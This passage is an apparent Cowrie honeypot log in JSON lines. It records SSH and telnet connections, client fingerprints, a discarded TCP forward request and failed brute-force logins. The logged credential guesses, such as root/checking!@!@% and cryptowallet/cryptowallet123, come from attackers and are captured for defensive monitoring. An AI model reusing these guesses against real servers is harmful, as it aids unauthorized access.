\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 <\\xbd$\\x98G\\x8a\\xbf6:^f\\xbb\\xb4_\\xce\\x1aS\\x9d\\x8d\\xe8\\xca*\\xb4\\xb35\\xddvm\\x9a1A0\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x80\\xed\\xa7\\xf5\\x12\\xdb\\xfe\\x86\\x8b\\x16B\\x10\\xeb\\x9e\\x89\\xdfd\\xe8_\\xb6\\xb4f\\xb9\\x98\\x8f\\x04!\\xb3c9\\xa8\\xdb \\xa5\\xec\\xdf\\xe6\\x85\\xc9\\x8e\\xa7[\\x1a\\xeb\\xb5\\x1e\\xacc\\xfchvja=\\x1b\\x03\\x95\\xb2p3\\\\C\\x00\\xf6\\xe1\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 <\\xbd$\\x98G\\x8a\\xbf6:^f\\xbb\\xb4_\\xce\\x1aS\\x9d\\x8d\\xe8\\xca*\\xb4\\xb35\\xddvm\\x9a1A0\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:11.500314Z","src_ip":"192.42.116.51","session":"b9a4f647fa5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.7","message":"Connection lost after 22.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:11.994187Z","src_ip":"192.42.116.51","session":"b9a4f647fa5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":33988,"dst_ip":"10.17.0.5","dst_port":22,"session":"96d5d4e65455","protocol":"ssh","message":"New connection: 198.57.219.18:33988 (10.17.0.5:22) [session: 96d5d4e65455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:29.872905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:29.882173Z","src_ip":"198.57.219.18","session":"96d5d4e65455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:29.963916Z","src_ip":"198.57.219.18","session":"96d5d4e65455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"badger","password":"badger123","message":"login attempt [badger/badger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:30.212620Z","src_ip":"198.57.219.18","session":"96d5d4e65455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:32.151334Z","src_ip":"198.57.219.18","session":"96d5d4e65455","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":49452,"dst_ip":"10.17.0.5","dst_port":22,"session":"9266c5663172","protocol":"ssh","message":"New connection: 162.240.218.183:49452 (10.17.0.5:22) [session: 9266c5663172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:40.506088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:40.509175Z","src_ip":"162.240.218.183","session":"9266c5663172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:40.598168Z","src_ip":"162.240.218.183","session":"9266c5663172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"convex","password":"convex123","message":"login attempt [convex/convex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:40.864865Z","src_ip":"162.240.218.183","session":"9266c5663172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:41.956423Z","src_ip":"162.240.218.183","session":"9266c5663172","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":78.64399266242981,"message":"Connection lost after 78 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:15.838225Z","src_ip":"137.184.5.188","session":"bfa0d79f3016","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:18.741254Z","src_ip":"203.83.231.93","session":"5c871c25ecef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.203.232","src_port":41362,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a0ee27a4e1","protocol":"ssh","message":"New connection: 38.242.203.232:41362 (10.17.0.5:22) [session: 79a0ee27a4e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:29.767579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:29.772584Z","src_ip":"38.242.203.232","session":"79a0ee27a4e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:29.862501Z","src_ip":"38.242.203.232","session":"79a0ee27a4e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"metaverse123","password":"metaverse123","message":"login attempt [metaverse123/metaverse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:30.133221Z","src_ip":"38.242.203.232","session":"79a0ee27a4e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:31.225235Z","src_ip":"38.242.203.232","session":"79a0ee27a4e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":38754,"dst_ip":"10.17.0.5","dst_port":22,"session":"f26b6d98b007","protocol":"ssh","message":"New connection: 50.6.173.74:38754 (10.17.0.5:22) [session: f26b6d98b007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:51.190807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:51.194586Z","src_ip":"50.6.173.74","session":"f26b6d98b007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:51.220531Z","src_ip":"50.6.173.74","session":"f26b6d98b007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cryptowallet","password":"cryptowallet123","message":"login attempt [cryptowallet/cryptowallet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:51.301918Z","src_ip":"50.6.173.74","session":"f26b6d98b007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:52.330411Z","src_ip":"50.6.173.74","session":"f26b6d98b007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":45026,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d5aa05e66c1","protocol":"ssh","message":"New connection: 103.77.175.15:45026 (159.203.135.109:22) [session: 0d5aa05e66c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:59.967990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:52:59.971828Z","src_ip":"103.77.175.15","session":"0d5aa05e66c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:00.194602Z","src_ip":"103.77.175.15","session":"0d5aa05e66c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:01.096131Z","src_ip":"103.77.175.15","session":"0d5aa05e66c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:02.321980Z","src_ip":"103.77.175.15","session":"0d5aa05e66c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":45174,"dst_ip":"159.203.135.109","dst_port":23,"session":"092e915e5074","protocol":"telnet","message":"New connection: 107.6.151.170:45174 (159.203.135.109:23) [session: 092e915e5074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:09.901114Z"}
{"eventid":"cowrie.session.closed","duration":0.0794825553894043,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:09.980489Z","src_ip":"107.6.151.170","session":"092e915e5074","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":45536,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9b1e82828c7","protocol":"ssh","message":"New connection: 162.254.35.142:45536 (159.203.135.109:22) [session: a9b1e82828c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:23.433853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:23.440726Z","src_ip":"162.254.35.142","session":"a9b1e82828c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:23.509946Z","src_ip":"162.254.35.142","session":"a9b1e82828c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"michi","password":"michi123","message":"login attempt [michi/michi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:23.716808Z","src_ip":"162.254.35.142","session":"a9b1e82828c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:24.788354Z","src_ip":"162.254.35.142","session":"a9b1e82828c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":43112,"dst_ip":"10.17.0.5","dst_port":22,"session":"a605dcb47a3d","protocol":"ssh","message":"New connection: 147.45.211.215:43112 (10.17.0.5:22) [session: a605dcb47a3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:27.203780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:53:27.207703Z","src_ip":"147.45.211.215","session":"a605dcb47a3d","protocol":"ssh"}
